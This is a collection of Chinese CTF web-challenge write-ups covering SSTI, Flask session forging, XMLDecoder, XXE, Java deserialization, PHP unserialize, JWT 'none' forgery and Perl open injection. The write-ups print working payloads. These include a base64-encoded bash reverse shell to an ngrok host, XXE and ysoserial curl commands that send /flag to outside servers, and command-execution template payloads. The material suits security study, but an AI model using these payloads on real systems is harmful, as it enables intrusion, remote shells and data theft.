rc4模板注入
不知道啥意思,抓包看看
没东西,是不是要输入secret
尝试模板注入发现报错
因为我们是传的secret参数,所以我们之间搜索secret参数
import base64 from urllib.parse import quotedef rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox (key) crypt = str (rc4_excrypt (message, s_box)) return crypt def rc4_init_sbox (key): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append (chr (ord (s) ^ k)) cipher = "" .join (res) print ("加密后的字符串是:%s" %quote (cipher)) return (str (base64.b64encode (cipher.encode ('utf-8' )), 'utf-8' )) payload = '' '{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == ' catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if ' eval ' in b.keys() %} {{ b[' eval '](' __import__ ("os" ).popen ("ls /" ).read ()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}' '' rc4_main ("HereIsTreasure" ,payload)
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls /").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flag.txt").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
flask框架session越权
试试是不是远程文件包含,发现不是,接着读取本地文件试试
我们查看一下本地进程/proc/self/cmdline
python的后台地址/app/app.py
import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
关键信息session==fuck,那么我们需要去找flask的session处理方法,而flask session处理机制与SECRET_KEY有关.这里的secret_key生成利用了伪随机数
简单点就是需要获取靶机的mac地址,在linux下mac地址的位置是
/sys/class/net/eth0/address
接下来我们按照uuid.getnode生成secret_key,记得要用python2哦
import randommac = '12:c2:4b:05:46:0c' nmac = mac.replace(':' , '' ) random.seed(int (nmac, 16 )) key = str (random.random()*233 ) print key
python2 flask_session_cookie_manager2.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YlU11A.UWWy8w8BqkOlDxHG8Pii9fPRJqM" {"username":{" b":"d3d3LWRhdGE="}} python2 flask_session_cookie_manager2.py encode -s 187.411379406 -t "{'username':'fuck'}" eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YlVQRA.hUlU1YQYX_VZRpDRaOzkYelt9TQ
解密与加密需要使用固定的格式不然会报错.解密出来的字符串不能直接更改值,需要改为键值的格式
smarty框架的ssti {php}{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
{literal}标签
{literal}可以让一个模板区域的字符原样输出,这经常用于保护页面上的javascript或者css样式表,比曼因为smarty的定界符而错被解析
getstreamvariable
可以读取一个文件返回其内容,可以用sekf来获取smarty对象并调用这个方法
新版本smarty已将该静态方法删除
payload:{self::getStreamVariable("file:///etc/passwd")}
{if}标签
smary的{if}条件判断和php的if非常相似,只是增加了一些特性,每一个{if}必须有一个配对的{/if}.也可以使用{else}和{elseif}.全部的php条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等
题目打开发现提示了smarty框架
去访问这些页面也发现无法访问,但是在右上有cuurent ip 在下面也提示有X-Forwared-For
发现是输入什么就显示什么说明可能存在模板注入
发现成功执行了,接着我们使用if语句执行命令试试
[GKCTF 2021]babycat
注册显示没有权限
看到有发包,我们注册试试
存在upload和download test两个页面
download会下载下来文件
upload只有管理员可以访问
我们试着把guest改成admin也会变回guest
可得到web.xml
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <servlet > <servlet-name > register</servlet-name > <servlet-class > com.web.servlet.registerServlet</servlet-class > </servlet > <servlet > <servlet-name > login</servlet-name > <servlet-class > com.web.servlet.loginServlet</servlet-class > </servlet > <servlet > <servlet-name > home</servlet-name > <servlet-class > com.web.servlet.homeServlet</servlet-class > </servlet > <servlet > <servlet-name > upload</servlet-name > <servlet-class > com.web.servlet.uploadServlet</servlet-class > </servlet > <servlet > <servlet-name > download</servlet-name > <servlet-class > com.web.servlet.downloadServlet</servlet-class > </servlet > <servlet > <servlet-name > logout</servlet-name > <servlet-class > com.web.servlet.logoutServlet</servlet-class > </servlet > <filter > <filter-name > loginFilter</filter-name > <filter-class > com.web.filter.LoginFilter</filter-class > </filter > <filter-mapping > <filter-name > loginFilter</filter-name > <url-pattern > /home/*</url-pattern > </filter-mapping > <display-name > java</display-name > <welcome-file-list > <welcome-file > /WEB-INF/index.jsp</welcome-file > </welcome-file-list > </web-app >
下载一下文件
/WEB-INF/classes/com/web/servlet/registerServlet.class
registerServlet.class
public class registerServlet extends HttpServlet { public registerServlet () { } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html;charset=UTF-8" ); req.setAttribute("error" , "<script>alert('Not Allowed')</script>" ); req.getRequestDispatcher("WEB-INF/register.jsp" ).forward(req, resp); } protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setCharacterEncoding("UTF-8" ); Integer res = 0 ; String role = "" ; Gson gson = new Gson (); new Person (); Connection connection = null ; String var = req.getParameter("data" ).replaceAll(" " , "" ).replace("'" , "\"" ); Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"" ); for (Matcher matcher = pattern.matcher(var ); matcher.find(); role = matcher.group()) { } Person person; if (!StringUtils.isNullOrEmpty(role)) { var = var .replace(role, "\"role\":\"guest\"" ); person = (Person)gson.fromJson(var , Person.class); } else { person = (Person)gson.fromJson(var , Person.class); person.setRole("guest" ); } System.out.println(person); if (person.getUsername() == null || person.getPassword() == null ) { resp.sendError(500 , "用户名或密码不能为空!" ); } person.setPic("/static/cat.gif" ); try { connection = baseDao.getConnection(); } catch (Exception var17) { var17.printStackTrace(); } if (connection != null ) { String sql_query = "select * from ctf where username=?" ; Object[] params1 = new Object []{person.getUsername()}; try { ResultSet rs = baseDao.execute(connection, sql_query, params1); if (rs.next()) { System.out.println(rs.next()); resp.sendError(500 , "user already exists!" ); } else { String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)" ; Object[] params2 = new Object []{person.getUsername(), person.getPassword(), person.getRole(), person.getPic()}; res = baseDao.Update(connection, sql, params2); } } catch (SQLException var16) { var16.printStackTrace(); } baseDao.closeResource(connection, (ResultSet)null , (PreparedStatement)null ); } if (res == 1 ) { resp.getWriter().write("register success!" ); } } }
downloadServlet.class
public class downloadServlet extends HttpServlet { public downloadServlet () { } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { String file = req.getParameter("file" ); System.out.println(file); String path = System.getenv("CATALINA_HOME" ) + "/webapps/ROOT/WEB-INF/upload/" + file; FileInputStream fis = new FileInputStream (path); resp.setCharacterEncoding("utf-8" ); resp.setHeader("Content-Disposition" , "attachment; filename=" + file); ServletOutputStream out = resp.getOutputStream(); byte [] bt = new byte [1024 ]; boolean var8 = false ; int length; while ((length = fis.read(bt)) != -1 ) { out.write(bt, 0 , length); } out.close(); } catch (Exception var9) { resp.sendError(500 , "something error!" ); } } protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super .doPost(req, resp); } }
uploadServlet.class
@MultipartConfig public class uploadServlet extends HttpServlet { public uploadServlet () { } protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String admin = "admin" ; Person user = (Person)req.getSession().getAttribute("user" ); System.out.println(user.getRole()); if (!admin.equals(user.getRole())) { req.setAttribute("error" , "<script>alert('admin only');history.back(-1)</script>" ); req.getRequestDispatcher("../WEB-INF/error.jsp" ).forward(req, resp); } else { List<String> fileNames = new ArrayList (); tools.findFileList(new File (System.getenv("CATALINA_HOME" ) + "/webapps/ROOT/WEB-INF/upload/" ), fileNames); req.setAttribute("files" , fileNames); System.out.println(fileNames); req.getRequestDispatcher("../WEB-INF/upload.jsp" ).forward(req, resp); } req.getRequestDispatcher("../WEB-INF/upload.jsp" ).forward(req, resp); } protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (!ServletFileUpload.isMultipartContent(req)) { req.setAttribute("error" , "<script>alert('something wrong');history.back(-1)</script>" ); req.getRequestDispatcher("../WEB-INF/error.jsp" ).forward(req, resp); } DiskFileItemFactory factory = new DiskFileItemFactory (); factory.setSizeThreshold(3145728 ); factory.setRepository(new File (System.getProperty("java.io.tmpdir" ))); ServletFileUpload upload = new ServletFileUpload (factory); upload.setFileSizeMax(41943040L ); upload.setSizeMax(52428800L ); String uploadPath = System.getenv("CATALINA_HOME" ) + "/webapps/ROOT/WEB-INF/upload/" ; try { List<FileItem> formItems = upload.parseRequest(req); if (formItems != null && formItems.size() > 0 ) { Iterator var7 = formItems.iterator(); label34: while (true ) { FileItem item; do { if (!var7.hasNext()) { break label34; } item = (FileItem)var7.next(); } while (item.isFormField()); String fileName = item.getName(); String ext = fileName.substring(fileName.lastIndexOf("." )).replace("." , "" ); String name = fileName.replace(ext, "" ); if (checkExt(ext) || checkContent(item.getInputStream())) { req.setAttribute("error" , "upload failed" ); req.getRequestDispatcher("../WEB-INF/upload.jsp" ).forward(req, resp); } String filePath = uploadPath + File.separator + name + ext; File storeFile = new File (filePath); item.write(storeFile); req.setAttribute("error" , "upload success!" ); } } } catch (Exception var14) { req.setAttribute("error" , "<script>alert('something wrong');history.back(-1)</script>" ); } req.getRequestDispatcher("../WEB-INF/upload.jsp" ).forward(req, resp); } private static boolean checkExt (String ext) { boolean flag = false ; String[] extWhiteList = new String []{"jpg" , "png" , "gif" , "bak" , "properties" , "xml" , "html" , "xhtml" , "zip" , "gz" , "tar" , "txt" }; if (!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) { flag = true ; } return flag; } private static boolean checkContent (InputStream item) throws IOException { boolean flag = false ; InputStreamReader input = new InputStreamReader (item); BufferedReader bf = new BufferedReader (input); String line = null ; StringBuilder sb = new StringBuilder (); while ((line = bf.readLine()) != null ) { sb.append(line); } String content = sb.toString(); String[] blackList = new String []{"Runtime" , "exec" , "ProcessBuilder" , "jdbc" , "autoCommit" }; for (int i = 0 ; i < blackList.length; ++i) { if (content.contains(blackList[i])) { flag = true ; } } return flag; } }
baseDao.class
public class baseDao { private static String driver; private static String url; private static String username; private static String password; public static Connection connection; public baseDao () { } public static void getConfig () throws FileNotFoundException { Object obj = (new XMLDecoder (new FileInputStream (System.getenv("CATALINA_HOME" ) + "/webapps/ROOT/db/db.xml" ))).readObject(); if (obj instanceof HashMap) { HashMap map = (HashMap)obj; if (map != null && map.get("url" ) != null ) { driver = (String)map.get("driver" ); url = (String)map.get("url" ); username = (String)map.get("username" ); password = (String)map.get("password" ); } } } public static Connection getConnection () throws Exception { getConfig(); if (connection == null ) { try { Class.forName(driver); connection = DriverManager.getConnection(url, username, password); } catch (ClassNotFoundException | SQLException var1) { var1.printStackTrace(); } } return connection; } public static ResultSet execute (Connection connection, String sql, Object[] params) throws SQLException { PreparedStatement preparedStatement = connection.prepareStatement(sql); for (int i = 0 ; i < params.length; ++i) { preparedStatement.setObject(i + 1 , params[i]); } ResultSet rs = preparedStatement.executeQuery(); return rs; } public static int Update (Connection connection, String sql, Object[] params) throws SQLException { PreparedStatement preparedStatement = connection.prepareStatement(sql); int updateRows; for (updateRows = 0 ; updateRows < params.length; ++updateRows) { preparedStatement.setObject(updateRows + 1 , params[updateRows]); } updateRows = preparedStatement.executeUpdate(); return updateRows; } public static boolean closeResource (Connection connection, ResultSet result, PreparedStatement preparedStatement) { boolean flag = true ; if (result != null ) { try { result.close(); } catch (SQLException var6) { var6.printStackTrace(); flag = false ; } result = null ; } if (preparedStatement != null ) { try { preparedStatement.close(); } catch (SQLException var5) { var5.printStackTrace(); flag = false ; } preparedStatement = null ; } return flag; } static { try { getConfig(); } catch (Exception var1) { var1.printStackTrace(); } } }
存在xmldecoder漏洞
<java version ="1.7.0_80" class ="java.beans.XMLDecoder" > <object class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="1" > <void index ="0" > <string > calc</string > </void > </array > <void method ="start" > </void > </object > </java >
板了一些命令,使用实体编码来绕过
<?xml version="1.0" encoding="UTF-8"?> <java > <object class ="java.lang.P rocessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5qcC5uZ3Jvay5pby8xNTQzMiAwPiYx}|{base64,-d}|{bash,-i}</string > </void > </array > <void method ="start" /> </object > </java >
data={ username: '12', password: 'test', role: 'admin' ,'1':{"role":"role"}}
写两个role来绕过
data={ username: '1234', password: 'test', role: 'admin' /*,"role":"role"*/}
注释绕过
接着再次登录
非预期
if (checkExt(ext) || checkContent(item.getInputStream())) { req.setAttribute("error" , "upload failed" ); req.getRequestDispatcher("../WEB-INF/upload.jsp" ).forward(req, resp); }
在if里面这里如果后缀和内容出现了问题之后,并没有return,也就是说在执行完if里面的两句话之后程序还会继续向下执行下去
无论是request.getRequestDispatcher(path).forward(request,response)还是response.sendRedirect,程序都会在执行完该句的情况下继续向下执行,因此在必要的情况下应该使用return终止该方法
但是upload目录不可写,写到static目录
[网鼎杯 2020 青龙组]filejava
一个上传点
没地址,但是能下载,试试下载web.xml
可行
web.xml
<servlet > <servlet-name > DownloadServlet</servlet-name > <servlet-class > cn.abc.servlet.DownloadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadServlet</servlet-name > <url-pattern > /DownloadServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > ListFileServlet</servlet-name > <servlet-class > cn.abc.servlet.ListFileServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ListFileServlet</servlet-name > <url-pattern > /ListFileServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > UploadServlet</servlet-name > <servlet-class > cn.abc.servlet.UploadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > UploadServlet</servlet-name > <url-pattern > /UploadServlet</url-pattern > </servlet-mapping > </web-app >
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
public class DownloadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public DownloadServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename" ); fileName = new String (fileName.getBytes("ISO8859-1" ), "UTF-8" ); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag" )) { request.setAttribute("message" , "禁止读取" ); request.getRequestDispatcher("/message.jsp" ).forward(request, response); } else { String fileSaveRootPath = this .getServletContext().getRealPath("/WEB-INF/upload" ); String path = this .findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File (path + "/" + fileName); if (!file.exists()) { request.setAttribute("message" , "您要下载的资源已被删除!" ); request.getRequestDispatcher("/message.jsp" ).forward(request, response); } else { String realname = fileName.substring(fileName.indexOf("_" ) + 1 ); response.setHeader("content-disposition" , "attachment;filename=" + URLEncoder.encode(realname, "UTF-8" )); FileInputStream in = new FileInputStream (path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte [] buffer = new byte [1024 ]; boolean var11 = false ; int len; while ((len = in.read(buffer)) > 0 ) { out.write(buffer, 0 , len); } in.close(); out.close(); } } } public String findFileSavePathByFileName (String filename, String saveRootPath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 15 ; int dir2 = (hashCode & 240 ) >> 4 ; String dir = saveRootPath + "/" + dir1 + "/" + dir2; File file = new File (dir); if (!file.exists()) { file.mkdirs(); } return dir; } }
ListFileServlet.class
public class ListFileServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public ListFileServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String uploadFilePath = this .getServletContext().getRealPath("/WEB-INF/upload" ); Map<String, String> fileNameMap = new HashMap (); String saveFilename = (String)request.getAttribute("saveFilename" ); String filename = (String)request.getAttribute("filename" ); System.out.println("saveFilename" + saveFilename); System.out.println("filename" + filename); saveFilename.substring(saveFilename.indexOf("_" ) + 1 ); fileNameMap.put(saveFilename, filename); request.setAttribute("fileNameMap" , fileNameMap); request.getRequestDispatcher("/listfile.jsp" ).forward(request, response); } }
UploadServlet.class
public class UploadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public UploadServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String savePath = this .getServletContext().getRealPath("/WEB-INF/upload" ); String tempPath = this .getServletContext().getRealPath("/WEB-INF/temp" ); File tempFile = new File (tempPath); if (!tempFile.exists()) { tempFile.mkdir(); } String message = "" ; try { DiskFileItemFactory factory = new DiskFileItemFactory (); factory.setSizeThreshold(102400 ); factory.setRepository(tempFile); ServletFileUpload upload = new ServletFileUpload (factory); upload.setHeaderEncoding("UTF-8" ); upload.setFileSizeMax(1048576L ); upload.setSizeMax(10485760L ); if (!ServletFileUpload.isMultipartContent(request)) { return ; } List<FileItem> list = upload.parseRequest(request); Iterator var10 = list.iterator(); label56: while (true ) { while (true ) { if (!var10.hasNext()) { break label56; } FileItem fileItem = (FileItem)var10.next(); String filename; String fileExtName; if (fileItem.isFormField()) { filename = fileItem.getFieldName(); fileExtName = fileItem.getString("UTF-8" ); } else { filename = fileItem.getName(); if (filename != null && !filename.trim().equals("" )) { fileExtName = filename.substring(filename.lastIndexOf("." ) + 1 ); InputStream in = fileItem.getInputStream(); if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0 ); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException var20) { System.err.println("poi-ooxml-3.10 has something wrong" ); var20.printStackTrace(); } } String saveFilename = this .makeFileName(filename); request.setAttribute("saveFilename" , saveFilename); request.setAttribute("filename" , filename); String realSavePath = this .makePath(saveFilename, savePath); FileOutputStream out = new FileOutputStream (realSavePath + "/" + saveFilename); byte [] buffer = new byte [1024 ]; boolean var19 = false ; int len; while ((len = in.read(buffer)) > 0 ) { out.write(buffer, 0 , len); } in.close(); out.close(); message = "文件上传成功!" ; } } } } } catch (FileUploadException var21) { var21.printStackTrace(); } request.setAttribute("message" , message); request.getRequestDispatcher("/ListFileServlet" ).forward(request, response); } private String makeFileName (String filename) { return UUID.randomUUID().toString() + "_" + filename; } private String makePath (String filename, String savePath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 15 ; int dir2 = (hashCode & 240 ) >> 4 ; String dir = savePath + "/" + dir1 + "/" + dir2; File file = new File (dir); if (!file.exists()) { file.mkdirs(); } return dir; } }
新建一个excel-1.xlsx文件
改后缀名为zip
解压缩
对文件夹里面的[Content_Types].xml进行修改,修改完之后在压缩成zip文件,改名后缀为xlsx
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % remote SYSTEM "https://090d5d2b-5273-4359-b03d-35dba710484d.challenge.ctf.show/1.dtd" > %remote; %all; ]> <root > &send; </root >
在自己服务器上面新建一个1.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'https://090d5d2b-5273-4359-b03d-35dba710484d.challenge.ctf.show:8888/%file;'>">
[网鼎杯 2020 朱雀组]Think Java SqlDict.class
package cn.abc.core.sqldict;import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import java.util.ArrayList;import java.util.List;public class SqlDict { public SqlDict () { } public static Connection getConnection (String dbName, String user, String pass) { Connection conn = null ; try { Class.forName("com.mysql.jdbc.Driver" ); if (dbName != null && !dbName.equals("" )) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp" ; } if (user == null || dbName.equals("" )) { user = "root" ; } if (pass == null || dbName.equals("" )) { pass = "abc@12345" ; } conn = DriverManager.getConnection(dbName, user, pass); } catch (ClassNotFoundException var5) { var5.printStackTrace(); } catch (SQLException var6) { var6.printStackTrace(); } return conn; } public static List<Table> getTableData (String dbName, String user, String pass) { List<Table> Tables = new ArrayList (); Connection conn = getConnection(dbName, user, pass); String TableName = "" ; try { Statement stmt = conn.createStatement(); DatabaseMetaData metaData = conn.getMetaData(); ResultSet tableNames = metaData.getTables((String)null , (String)null , (String)null , new String []{"TABLE" }); while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table (); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { table.setTableDescribe(rs.getString("TABLE_COMMENT" )); } table.setTableName(TableName); ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null , TableName, "" ); ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null , TableName); String PK; for (PK = "" ; rs2.next(); PK = rs2.getString(4 )) { } while (data.next()) { Row row = new Row (data.getString("COLUMN_NAME" ), data.getString("TYPE_NAME" ), data.getString("COLUMN_DEF" ), data.getString("NULLABLE" ).equals("1" ) ? "YES" : "NO" , data.getString("IS_AUTOINCREMENT" ), data.getString("REMARKS" ), data.getString("COLUMN_NAME" ).equals(PK) ? "true" : null , data.getString("COLUMN_SIZE" )); table.list.add(row); } Tables.add(table); } } catch (SQLException var16) { var16.printStackTrace(); } return Tables; } }
Test.class
package cn.abc.core.controller;import cn.abc.common.bean.ResponseCode;import cn.abc.common.bean.ResponseResult;import cn.abc.common.security.annotation.Access;import cn.abc.core.sqldict.SqlDict;import cn.abc.core.sqldict.Table;import io.swagger.annotations.ApiOperation;import java.io.IOException;import java.util.List;import org.springframework.web.bind.annotation.CrossOrigin;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@CrossOrigin @RestController @RequestMapping({"/common/test"}) public class Test { public Test () { } @PostMapping({"/sqlDict"}) @Access @ApiOperation("为了开发方便对应数据库字典查询") public ResponseResult sqlDict (String dbName) throws IOException { List<Table> tables = SqlDict.getTableData(dbName, "root" , "abc@12345" ); return ResponseResult.e(ResponseCode.OK, tables); } }
这里提供了一个swagger ui
swagger ui:提供可视化的ui页面展示描述文件.接口的调用方 测试 项目经理等都可以在该页面中对相关接口进行查阅和做简单的接口请求.该项目支持在线导入描述文件和本地部署ui项目
默认目录
这里由于/common/test/sqlDict存在注入点
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
要进行注入,就需要在连接数据库的时候不出错误.而jdbc类似url解析,所以我们输入
myapp#' union select 1# jdbc:mysql://mysqldbserver:3306/myapp#' union select 1 #会被解析成 jdbc:mysql: 带入sql语句 String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ;Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1 #' and table_name=' '; 这样的话其中前一个#被包裹在单引号里面而后面的#会将后面的语句注释掉
myapp#' union select pwd from user# admin@Rrrr_ctf_asde
myapp#' union select name from user# admin
{ "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu", "msg": "登录成功", "status": 2, "timestamps": 1650950514748 }
这段data中以rO0AB开头,可以基本确定是java序列化base64加密的数据,或者如果以aced开头,那么他就是这语段java序列化的十六进制
用ysoserial 打 ysoserial Java 反序列化系列第一集 Groovy1 java反序列化工具ysoserial分析– angelwhu 玩转Ysoserial-CommonsCollection的七种利用方式分析
java -jar ysoserial.jar ROME "curl http://174.2.90.186:1234 -d @/flag" > t.bin
import base64file = open ("t.bin" ,"rb" ) now = file.read() ba = base64.b64encode(now) print ("Bearer " +ba.decode())file.close()
[网鼎杯 2020 朱雀组]phpweb
传了两个参数来获得时间
推测可能使用了call_user_func()函数,读一下源码
func=highlight_file&p=php://filter/convert.base64-encode/resource=index.php
<!DOCTYPE html> <html> <head> <title>phpweb</title> <style type="text/css" > body { background: url ("bg.jpg" ) no-repeat; background-size: 100 %; } p { color: white; } </style> </head> <body> <script language=javascript> setTimeout ("document.form1.submit()" ,5000 ) </script> <p> <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?> </p> <form id=form1 name=form1 action="index.php" method=post> <input type=hidden id=func name=func value='date' > <input type=hidden id=p name=p value='Y-m-d h:i:s a' > </body> </html>
禁用了不少不过有一个__destruct()方法可用,我们可以直接反序列化
<?php class Test { var $p = 'ls' ; var $func = "system" ; } $final = new Test ();echo serialize ($final );
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
拿到源码
可以看到使用的是koa2框架结构
controllers 项目控制器目录接受请求处理逻辑 DataBase 保存数据库封装的CRUD操作方法 models文件夹 对应的数据库表结构 config文件夹 项目路由文件夹 app.js 入口文件
这里就去访问/controllers/api.js
发现使用jwt
注册
登录拿jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJ3YW5hbiIsInBhc3N3b3JkIjoid2FuYW4iLCJpYXQiOjE2NTA5NTYxNzl9.OuD0FnGFaExLQ6m8AFEq471DAmbP2y1bchVIP5mPXJM
改成None
import jwtstr = { "secretid" : [], "username" : "admin" , "password" : "wanan" , "iat" : 1650956179 } token = jwt.encode(str ,algorithm='none' ,key='' ) print (token)
[HITCON 2017]SSRFme 10.244 .80.46 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
在perl语言中,open函数存在命令执行漏洞,如果open文件名中存在管道符,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令相同的文件中.这里调用了GET函数,而GET函数底层嗲用了open函数,所以存在漏洞
?url=file:bash -c /readflag |&filename=bash -c /readflag |
/sandbox/230317844a87b41e353b096d0d6a5145/bash -c /readflag |
